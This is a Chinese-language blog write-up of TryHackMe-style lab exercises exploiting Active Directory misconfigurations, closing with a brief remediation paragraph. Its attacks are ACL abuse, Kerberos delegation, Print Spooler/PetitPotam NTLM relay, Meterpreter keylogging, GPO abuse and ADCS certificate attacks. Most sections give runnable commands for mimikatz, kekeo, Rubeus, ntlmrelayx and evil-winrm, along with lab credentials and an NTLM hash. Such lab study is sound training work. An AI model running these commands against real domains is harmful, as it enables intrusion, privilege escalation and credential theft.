Active Directory错误配置利用技术

AD错误配置利用

实验拓扑图

涉及到的网络和示例采用下面的拓扑:

image-20250527164852364

利用权限委派

权限委派漏洞通常被称为基于 ACL 的攻击。 AD 允许管理员配置访问控制条目(ACE),这些条目会填充受控访问控制列表(DACL),因此得名 ACL 攻击。

如果ACE配置不当,比如给某个组配置了ForceChangePassword的ACE那么这个组的用户可以对任意用户的密码进行修改,那么这将允许权限提升,常见的几个重要的ACE权限:

  • ForceChangePassword:攻击者可以在不知道用户当前密码的情况下强制设置用户的当前密码,即强制更改用户密码。
  • AddMembers:攻击者可以向目标组添加用户(包括攻击者自己的帐户)、组或计算机。
  • GenericAll:攻击者可以完全控制对象,具有更改用户密码、注册SPN(服务主体名称)、向目标组添加AD对象等能力。
  • GenericWrite:攻击者可以更新目标对象的任何不受保护的参数;例如,此ACE能够允许攻击者更新scriptPath参数,这将导致指定的脚本在用户下次登录时执行。
  • WriteOwner:攻击者可以更新目标对象的所有者,攻击者可以使自己的帐户成为对象的所有者,从而允许攻击者获得对于指定对象的额外权限。
  • WriteDACL:攻击者能够将新的ACE(访问控制条目)写入目标对象的DACL(自主访问控制列表);例如,攻击者可以编写一个ACE并授予攻击者的帐户对目标对象具有完全控制权限。
  • AllExtendedRights:攻击者可以针对目标对象执行任何与扩展AD权限相关的操作,例如,授予强制更改用户密码的能力。

示例

已有信息

  • 域内用户(跳板机):sarah.hilton : Newcastle1988

目标环境

目标AD域是分层(Tiered)结构,因此首先要入侵目标AD域的Tier 2基础设施,那么可以选择攻击Tier 2 Admins组,因为该组在Tier 2的所有工作站上都具有管理特权。

在Bloodhound界面中查看相关的攻击路径,这需要添加AD用户帐户作为开始位置,然后添加Tier 2 Admins组作为结束位置,可以看到有一个IT部门被授予了一个更改任意用户密码的权限,而管理员又设置了一个权限就是与用户组中任何成员都可以向该IT部门添加用户:

image-20250525100149787

那么就可以用当前域用户将某个用户添加到IT部门中,从而获取到更改任意用户密码的权限,从而提权和横向。

开始攻击

登录到跳板机
ssh za.tryhackme.loc\\sarah.hilton@thmwrk1.za.tryhackme.loc
添加用户

在跳板机上将当前用户添加到IT组:

Add-ADGroupMember "IT Support" -Members "sarah.hilton"

image-20250525094822447

强制更改密码

先确定Tier 2 Admin组成员:

Get-ADGroupMember -Identity "Tier 2 Admins"
image-20250525095211140

这里选择一个用户:t2_leon.francis

然后强制更改用户密码:

$Password = ConvertTo-SecureString "Password!123" -AsPlainText -Force
Set-ADAccountPassword -Identity "t2_leon.francis" -Reset -NewPassword $Password
image-20250525095540401

PS:这里可能会得到一个访问被拒绝的错误:

image-20230606164453640

说明权限还没有通过域得到传播(这可能需要10分钟),最好的方法是终止当前的SSH或RDP会话,等一会重试,也可以使用:

gpupdate /force

然后重新连接到主机再尝试。

远程连接管理员组用户

修改该管理员组用户的密码后就可以尝试远程登录了,这里使用xfreerdp进行远程登录:

xfreerdp /v:thmwrk1.za.tryhackme.loc /u:'t2_leon.francis' /p:'Password!123'

image-20250525100509424

可以看到成功登录,而且也是目标管理组成员。

成功获取flag:

image-20250525100720582

利用Kerberos委派

概念

Kerberos 委派的实际用途是使应用程序能够访问位于不同服务器上的资源。比如:虽然中间商拿到了你的身份证,但是他由于被你约束了,只能去访问动物园,或者只能去动物园里看大象,其他地方被约束住了,不能任意的干任何事情。

kerberos委派分为三种:

常见的可配置委派的服务:

  • HTTP - 用于 Web 应用程序,允许使用 AD 凭据进行隧道式身份验证。
  • CIFS - 公共互联网文件系统用于文件共享,允许将用户委派给共享。
  • LDAP - 用于将权限委托给 LDAP 服务,以执行重置用户密码等操作。
  • HOST - 允许将账户委托用于主机上的所有活动。
  • MSSQL - 允许将用户账户委托给 SQL 服务,以便通过传递认证访问数据库。

示例-传统约束委派&利用服务账户凭据

已知信息

  • 跳板机(THMWRK1):lorraine.gill : Tqeq5262
  • 目标主机(THMSERVER1):
    • 主机管理员:t2_leon.francis : Password!123

枚举可用的委派

通过powershell进行可用委派的枚举:

Import-Module C:\Tools\PowerView.ps1 
Get-NetUser -TrustedToAuth

PS:调用的PowerView.ps1可以在 这里 找到

发现主机上有一个服务正在以 svcIIS 用户身份运行:

image-20250525114449131

提取服务账户凭据

而现在拥有管理员权限,那么通过mimikatz将LSASecrets进行转储,得到其中的凭据信息:

token::elevate  # 为了转储来自注册表配置单元中的secrets信息,我们需要模拟SYSTEM用户,而此命令可用于提升权限。
lsadump::secrets  # 表示Mimikatz将与注册表配置单元进行行交互以获取明文凭据。

image-20250525115850359

委派攻击

通过kekeo工具生成票据,然后使用mimikatz注入票据,从而进行委派攻击,首先需要生成一个可用于为 TGTHTTP 和 WSMAN 服务生成票据的 TGT:

tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@

参数说明:

  • /user - 拥有约束委派权限的用户。
  • /domain - 正在攻击的域,因为可以使用 Kekeo 伪造票据来滥用跨森林信任。
  • /password - 与 svcIIS 账户关联的密码。

image-20250525120022748

为想要模拟的账户伪造 TGS 请求,需要为 HTTP 和 WSMAN 执行此操作,以允许在 THMSERVER1 上创建 PSSession:

tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:wsman/THMSERVER1.za.tryhackme.loc  # 创建WSMAN票据
tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc  # 创建http票据

# 得到两个票据
TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

image-20250525121421707

参数说明:

  • tgt - 在上一步骤中生成的 TGT。

  • /user - 想要模拟的用户。由于 t2_ accounts 对工作站具有管理员访问权限,因此可以合理假设 t1_ accounts 对服务器具有管理员访问权限,因此选择一个想要模拟的 t1_ accounts,这里选择 t1_trevor.jones 账户:

    image-20250525120549983

  • /service - 我们想要使用委派来模拟的服务。我们首先为 HTTP 服务生成一个 TGS。然后我们可以对 WSMAN 服务重新运行相同的命令。

再次运行命令,这次针对 WSMAN 服务。使用 Mimikatz 导入已有的两个 TGS 票据:

privilege::debug
kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

image-20250525121748789

创建会话

在目标主机THMSERVER1上开始尝试创建PSSession(PowerShell会话)了:

New-PSSession -ComputerName thmserver1.za.tryhackme.loc
Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc

image-20250525121858671

成功拿到flag:

image-20250525121956087

利用自动中继

概念&原理

  1. 机器账户(Machine Accounts)
    • 每个Windows主机都有一个关联的机器账户,密码复杂度极高(默认120字符,30天自动轮换),无法直接破解。
    • 机器账户用于AD服务间的通信,如域控制器同步、证书服务认证等。
    • 关键攻击点:某些机器账户可能被配置为对其他机器拥有管理员权限(如 AdminTo 关系)。
  2. 打印机漏洞(Printer Bug / MS-RPRN协议)
    • 允许域用户强制目标主机(运行Print Spooler服务)向任意IP发起认证请求。
    • 攻击链:触发目标机器向攻击者控制的服务器发起SMB认证,捕获并中继该认证到另一台机器。

原理:攻击者通过强制 THMSERVER2 向自己认证 → 捕获 THMSERVER2 的 NTLM 凭据 → 中继到 THMSERVER1 → 利用 THMSERVER2 对 THMSERVER1 的管理员权限进行后续操作。

攻击条件

  1. 必要的环境配置

    • 一个机器账户(如THMSERVER2)对另一台机器(如THMSERVER1)拥有管理员权限(通过Bloodhound的Cypher查询发现:MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p):
    • 目标主机的Print Spooler服务正在运行。
    • 目标主机的SMB服务未强制使用签名(允许未签名的SMB会话)。
  2. 验证步骤

    • Print Spooler状态检查:使用PowerShell命令验证服务是否运行:

      GWMI Win32_Printer -Computer <目标域名>
      Get-PrinterPort -ComputerName <目标域名>
      
    • SMB签名检查:通过Nmap脚本 smb2-security-mode 确认SMB签名未强制启用:

      nmap --script=smb2-security-mode -p445 目标域名
      

示例

条件验证

法一:thm提供的方法

机器账户管理链:通过blound查询后得到 THMSERVER2 机器账户对 THMSERVER1 机器拥有管理员权限的信息:

image-20250527165153409

Print Spooler状态检查:

image-20250527171051843

SMB签名检查:

image-20250527171104852

可以看到满足了攻击条件

法二:通过rpcdump.py脚本

通过rpcdump.py脚本验证目标是否开启MS-RPRN服务,如果开启了那就可能存在该漏洞;

python3 rpcdump.py 192.168.41.10 | grep MS-RPRN

在这里插入图片描述

开始攻击

设置NTLM中继(Relay)

在攻击机上使用Impacket的 ntlmrelayx.py 建立NTLM中继,监听并中继认证请求:

python3.9 ntlmrelayx.py -smb2support -t smb://<THMSERVER1_IP> -debug

参数说明:

  • -smb2support 启用SMBv2支持
  • -t 指定中继目标
  • -debug 显示调试信息。

[!IMPORTANT]

这里一定要是ip而不是域名,如果是域名那可能就触发kerberos认证而不是NTLM认证。

触发认证请求

在已控制的跳板机(如THMWRK1)使用 SpoolSample.exe 强制THMSERVER2向攻击者IP发起认证:

SpoolSample.exe THMSERVER2.za.tryhackme.loc <Attacker_IP>

image-20230606214435102

成功后,THMSERVER2会向攻击者的中继服务器发送NTLM认证请求。

中继的认证利用

通过 -c 参数并利用中继的THMSERVER2的认证在目标机器(如THMSERVER1)执行任意命令:

python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug  # 执行命令
python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug  # 不执行命令,默认导出目标机器的用户hash
获取哈希

若不指定命令直接让THMSERVER2向攻击者IP发起认证,那么默认导出目标机器的用户哈希,用于后续Pass-the-Hash攻击:

image-20250527174346445

查看后得到有效账户的hash:ServerAdmin:500:aad3b435b51404eeaad3b435b51404ee:3279a0c6dfe15dc3fb6e9c26dd9b066c:::

PtH攻击

在攻击机上执行命令进行PtH上线shell:

evil-winrm -i <THMSERVER1-ip>  -u <username> -H <user NTLM hash>

image-20250527174756162

成功上线shell,拿到flag。

利用域用户

在渗透中,用户往往是很薄弱的点,所以对于用户这个目标来说需要关注以下两个方面:

  • 凭证管理——用户如何存储他们的凭证。在 AD 中,这一点非常重要,因为用户可能拥有多组凭证,记住所有这些凭证可能会很麻烦。
  • 键盘记录 - 在利用过程中,攻击者通常需要了解普通用户如何与系统交互。结合屏幕截图,键盘记录可以作为一个有用的工具,从攻击者的角度获取这种理解。

寻找凭据

在目标主机上进行枚举文件,会找到一个凭证数据库文件(.kdbx),但它是被加密的,虽然可以尝试破解密码,但使用凭证数据库的人通常会确保初始密码的安全,所以通过观察用户的交互来找到密钥,比如用户的键盘输入。

降权&键盘监听

权限过高并不一定是好事,比如最高的system权限,虽然 Meterpreter 自带一个键盘记录器,但SYSTEM 不会输入任何按键,所以需要进行降权,那么最好的是和目标用户在同一上下文,好消息是meterpreter自带进程迁移功能,system权限能允许攻击者迁移到任何进程,从而降权。

在meterpreter中使用以下命令对进程进行操纵:

# 进程查询
ps
# 迁移进程
migrate PID
# 查看当前上下文
getuid

在meterpreter中使用以下命令启用键盘记录:

# 启动键盘记录
keyscan_start
# 转储记录
keyscan_dump

获取到密码后通过keepass工具查看凭据文件,比如:

image-20230608005237354

利用组策略

概念

当Windows网络从域控制器开始同步GPO时,这些GPOs会保存在 SYSVOL 目录中(该目录会存储一些将被复制到域内计算机中的AD GPOs)。GPO是策略设置的虚拟集合,每个GPO都有一个唯一的名称,被称为GUID。

每台Windows计算机都有一个本地策略配置,其中包含了几个值得注意的配置,例如:

  • 防火墙、反病毒和Applocker等服务的应用程序配置。
  • 本地组的成员配置,例如管理员组或远程桌面用户组。
  • 启动(Startup)配置,例如应该在计算机启动时被执行的脚本。
  • 安全和协议设置,例如是否支持SMBv1协议。

为了方便管理,所以就有了一个中央控制台,即:组策略管理(GPM),管理员可以在这里设置好策略,然后这些策略会自动应用到网络里的电脑上。加入网络的电脑会定期从SYSVOL文件夹里获取最新的“准则”并应用。一般情况下,每15分钟更新一次,也可以手动运行gpupdate命令来立即更新。

利用&示例

利用方法有很多,其中简单的一种是将所控制的域用户添加到本地管理员组和本地远程桌面用户组;这将允许我们在目标机器上拥有管理权限,而且还可以可以通过RDP访问该目标机器,如果知道ssh端口还可以通过ssh连接。

主机:

  • 已掌握:THMWRK1,THMSERVER1
  • 目标主机:THMSERVER2

操作:直接使用掌握的域用户进行RDP会导致正常用户被踢出会话而引起怀疑,所以应该先用普通用户或者其他组的用户RDP登录THMSERVER1,然后使用 runas 命令将 AD 用户的凭证注入内存,打开 MMC 来修改THMSERVER2所应用的 GPO。

#通过RDP访问THMWRK1跳板主机
xfreerdp /v:thmwrk1.za.tryhackme.loc /u:'<USER>' /p:'<PASSWD>' /cert:ignore +clipboard

#以管理员用户身份打开cmd并进行凭据注入
runas /netonly /user:za.tryhackme.loc\<AD Username> cmd.exe

# 打开mmc
mmc

找到当前用户有权修改且与目标主机THMSERVER2有关的组策略,然后将控制的域用户添加道本地组。

ADCS证书服务攻击

概念

关于ADCS的一些基本概念:

  • PKI - 公钥基础设施是一个管理证书和公钥加密的系统
  • AD CS - 活动目录证书服务是微软的 PKI 实现,通常在域控制器上运行
  • CA - 证书颁发机构是一个发行证书的 PKI,是PKI的核心,拥有公钥和私钥
  • 证书模板 - 一组设置和策略的集合,定义了 CA 如何以及何时可以颁发证书
  • CSR - 证书签名请求是一个发送给 CA 以请求签名证书的消息
  • EKU - 扩展/增强密钥用途是定义生成的证书如何使用的对象标识符

主机信任的根CA颁发的证书都是可信的,而域内在安装企业根CA时组策略会自动将根CA添加到域内所有机器的“受信任的根证书颁发机构”中,因此域内机器默认都信任此根CA颁发的证书。

比如当安装根CA到域内:

image-20250621150937829

可以看到根CA的名称为hack-ADCS-CA,那么在其他的域内主机中就可以找到这个名称的CA:

image-20250621152402476

利用ADCS安装错误配置

漏洞原理

该漏洞产生的主要原因是ADCS支持Web注册,也就是ADCS服务在安装的时候勾选了“证书颁发机构Web注册”选项,导致用户可以通过Web来申请注册证书。而Web接口默认只允许NTLM身份认证,如图所示:

image-20250621195837428

image-20250621201205179

由于HTTP类型的NTLM流量默认是不签名的,因此造成了NTLM Realy的攻击。攻击者可以利用PrintSpooler漏洞或Petitpotam漏洞触发目标机器SMB类型的NTLM流量回连攻击机器,然后再将这个SMB类型的NTLM流量中继给Web注册证书接口以目标机器权限申请一个证书。攻击者拿到该证书后就可以以目标机器权限进行Kerberos身份认证了。

攻击目标

此漏洞可攻击的目标主要有三个:域控、Exchange服务器和域内普通主机。

之所以可以对这三种目标进行攻击是因为使用了PrintSpooler漏洞或者PetitPotam漏洞触发的都是目标机器账户的Hash,因此其通过NTLM中继到证书注册接口请求的证书也是机器账户的,而这三种机器账户的权限各有不同:

  • 域控的机器账户拥有DCSync权限,可以导出域内任意用户的Hash
  • Exchange邮箱服务器的机器账户可以直接用于远程登录连接
  • 域内普通机器账户可以结合RBCD进行利用,获得最高权限

实验&攻击示例

实验环境如下:

  • 域控DC1(同时也是证书服务器):192.168.41.20
  • 域控DC2:192.168.41.30
  • 邮箱服务器Exchange:192.168.41.40
  • 域内普通机器Win10:192.168.41.50
  • 域内普通机器Server2016:当前登录域普通用户ginkgo\xyz: Admin123,IP:192.168.41.100
  • 攻击机kali:192.168.41.132

不管选择攻击什么目标,都要首先在域内普通主机执行命令定位证书服务器:

certutil -config - -ping
image-20250627144043980
攻击额外域控

攻击链:通过NTLM Relay+ADCS+PetitPotam/Print Spooler对域控进行利用。

首先在攻击机建立监听:

impacket-ntlmrelayx -t http://<DC1_ip>/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'

接着使用Print Spooler或PetitPotam漏洞触发DC2回连攻击机,将DC2的NTLM中继到证书服务器,得到DC2的证书内容:

#使用PetitPotam漏洞触发
python3 PetitPotam.py -d <域名> -u <AD_User> -p <passwd> <attacker_ip> <DC2_ip>
#使用Print Spooler漏洞触发
python3 printerbug.py <域名前缀>/<AD_User>:<passwd>@<DC2_ip> <attacker_ip>

image-20250627170512373

Tips:如果打印出多个证书,随便选择一个即可

然后在域内普通机器Server2016上使用Rubeus执行命令:

# 以 DC2$ 的身份,证书为凭据,请求TGT并注入当前的内存中
.\Rubeus.exe asktgt /user:<DC2主机名>$ /ptt /nowrap /outfile:ticket.kirbi /certificate:<前面得到的证书内容>  # 使用base64编码后的证书内容
.\Rubeus.exe asktgt /user:<DC2主机名>$ /ptt /nowrap /outfile:ticket.kirbi /certificate:<证书文件> /password:""

# 导出任意用户的hash,这里是krbtgt
mimikatz.exe "lsadump::dcsync /domain:<域名> /user:krbtgt /csv" "exit"
攻击Exchange邮箱服务器

攻击链:通过NTLM Relay+ADCS+PetitPotam/Print Spooler对Exchange邮箱服务器进行利用。

首先在攻击机中执行命令进行监听:

python3 ntlmrelayx.py -t http://<证书服务器DC1_ip>/certsrv/certfnsh.asp -smb2support --adcs

接着使用PetitPotam/Print Spooler漏洞触发Exchange邮箱服务器Exchange回连攻击机,得到Exchange的证书内容:

#使用PetitPotam漏洞触发
python3 PetitPotam.py -d <域名> -u <AD_User> -p <passwd> <attacker_ip> <Exchange_ip>
#使用Print Spooler漏洞触发
python3 printerbug.py <域名前缀>/<AD_User>:<passwd>@<Exchange_ip> <attacker_ip>

接着在域内普通机器Server2016上使用Rubeus执行命令:

# 以 Exchange$ 的身份,证书为凭据,请求TGT并注入当前的内存中
Rubeus.exe asktgt /user:<Exchange的主机名>$ /ptt /nowrap /outfile:ticket.kirbi /certificate:<前面得到的证书内容>
# 以system权限登入Exchange
PsExec.exe \\<Exchange主机名> -s cmd.exe
攻击域内普通机器

攻击链:通过NTLM Relay+ADCS+PetitPotam/Print Spooler+RBCD对域内普通机器进行利用。

首先在安全研究员的机器中执行如下的命令进行监听:

python3 ntlmrelayx.py -t http://<证书服务器DC1_ip>/certsrv/certfnsh.asp -smb2support --adcs

接着使用PetitPotam/Print Spooler漏洞触发域内普通机器win10回连攻击机,得到其认证的证书内容:

#使用PetitPotam漏洞触发
python3 PetitPotam.py -d <域名> -u <AD_User> -p <passwd> <普通主机_ip> <DC2_ip>
#使用Print Spooler漏洞触发
python3 printerbug.py <域名前缀>/<AD_User>:<passwd>@<普通主机_ip> <attacker_ip>

接着在域内普通机器Server2016上使用Rubeus执行命令:

# 以普通主机 win10$ 的身份,证书为凭据,请求TGT并注入当前的内存中
Rubeus.exe asktgt /user:Win10$ /ptt /nowrap /outfile:ticket.kirbi /certificate:<前面得到的证书内容>

当票据导入内存后,就可以通过相关工具创建机器的账户,然后配置创建的机器账户到域内普通机器Win10的RBCD:

add_rbcd_machine.exe domain=<域名> dc=<DC1主机名>.<域名> tm=<域内普通机器的主机名> ma=machine mp=root

接着使用Rebeus执行命令对RBCD进行利用,就可以成功访问普通主机Win10:

# 以administrator的权限请求ST
Rubeus.exe s4u /user:machine$ /rc4:329153f560eb329c0eldeea55e88ale9 /domain:<域名> /msdsspn:cifs/<普通机器的主机名>.<域名> /impersonateuser:administrator /ptt
# 访问普通机器
dir \\<普通机器名>.<域名>\c$

利用证书模板错误配置

漏洞原理

通过利用配置不当的证书模板来实现权限提升和横向移动。

域证书服务(ADCS)通常在特殊的DC上运行,普通用户无法直接交互,但为了方便创建、管理证书,就需要证书模板,让有权限的用户自行根据参数要求申请证书,但有些参数的组合就会导致漏洞。

寻找易受攻击的证书模板

使用 Windows 内置的工具 certutil 对主机内的证书进行枚举:

certutil -Template -v > templates.txt

这将提供所有配置模板的输出,如果参数值的组合能导致请求者执行权限提升,那么这个证书模板就是目标,比如以下参数组合的模板:

  • Client Authentication(客户端身份验证):证书可用于客户端身份验证。
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:证书模板允许用户指定主体备用名称(SAN-Subject Alternative Name)。
  • CTPRIVATEKEY_FLAG_EXPORTABLE_KEY:证书可以使用私钥导出。
  • Certificate Permissions(证书权限):用户具有使用证书模板所需的权限。

利用证书模板

添加证书管理单元

这里通过mmc进行操作,打开mmc后:

  • 点击文件->添加/删除管理单元。
  • 添加证书管理单元,并在提示时依次选择“计算机账户”和“本地计算机”。
  • 点击确定

然后就能看到证书管理单元的具体内容了:

image-20250528205447451
请求个人证书
  1. 右键点击 Personal,选择所有任务->请求新证书...
  2. 点击两次下一步以选择 AD 注册策略。
  3. 这里会看到有一个模板可以请求,但首先需要提供更多信息。
  4. 点击更多信息警告。
  5. 将 Subject name Type 选项更改为 Common Name,并输入任何值,因为值无关紧要,然后点击添加。
  6. 将 Alternative name Type 选项更改为 User principal name。
  7. 输入想要模拟的用户 UPN。最好是域账户,例如 Administrator@za.tryhackme.loc,然后点击添加。

最后会得到类似以下附加信息:

image-20250528212011265

然后确定、注册即可得到证书,参考:

image-20250528212103056
导出证书和私钥
  1. 右键点击证书,选择所有任务->导出...
  2. 点击下一步,选择是,导出私钥,然后点击下一步。
  3. 点击下一步,然后为证书设置密码,因为私钥没有密码无法导出。
  4. 点击下一步,选择要存储证书的位置。
  5. 点击下一步,最后点击完成。

通过证书模拟用户攻击

到这里就可以使用证书模拟用户,需要两个步骤:

  • 使用证书请求 Kerberos 票据授予票据(TGT)
  • 将 Kerberos TGT 加载到控制的域内主机
请求TGT

使用Rubeus请求TGT:

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<证书保存地址> /password:<密码> /outfile:<name of file to write TGT to> /domain:域名 /dc:<DC_IP>

参数说明:

  • /user - 指定将要模拟的用户,并且必须与生成的证书的 UPN 匹配
  • /enctype - 指定票据的加密类型。设置这个对于规避检测很重要,因为默认的加密算法较弱,会导致触发"绕过哈希"警报
  • /certificate - 生成的证书的路径
  • /password - 证书文件的密码
  • /outfile - TGT 将输出的文件名&路径
  • /domain - 当前攻击的域的 FQDN
  • /dc - 请求 TGT 的域控制器的 IP。通常最好选择运行 CA 服务的 DC

示例:

image-20230612235754458

票据注入&拿下DC

使用mimikatz注入TGT,登入DC:

# 注入票据
mimikatz.exe "privilege::debug" "kerberos::ptt administrator.kirbi" "exit"

# 访问DC
dir \\THMDC.za.tryhackme.loc\c$\

漏洞预防和修复

先排查企业内网域内网环境是否存在ADCS,如不存在则不影响,如果企业内网域内环境存在ADCS,则查看是否开启了证书颁发机构Web的功能,如果开启了该功能,则查看该功能是否有必要。如无必要,关闭即可。如未开启,则不受影响。同时,对域环境进行及时补丁更新以修补CVE-2022-26923漏洞。

posted @ 2025-12-03 09:45  shinianyunyan  阅读(20)  评论(0)    收藏  举报